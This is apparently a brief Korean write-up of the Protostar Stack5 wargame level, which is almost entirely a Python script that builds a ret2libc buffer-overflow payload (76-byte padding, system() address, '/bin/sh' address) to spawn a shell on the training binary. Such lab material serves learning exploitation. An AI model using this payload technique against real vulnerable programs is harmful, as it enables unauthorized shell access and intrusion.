[Protostar : Exploit-Exercises] Stack5

이번엔 그냥 쉘을 따는게 목표네요.

#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload

stack5.py

따줍시다.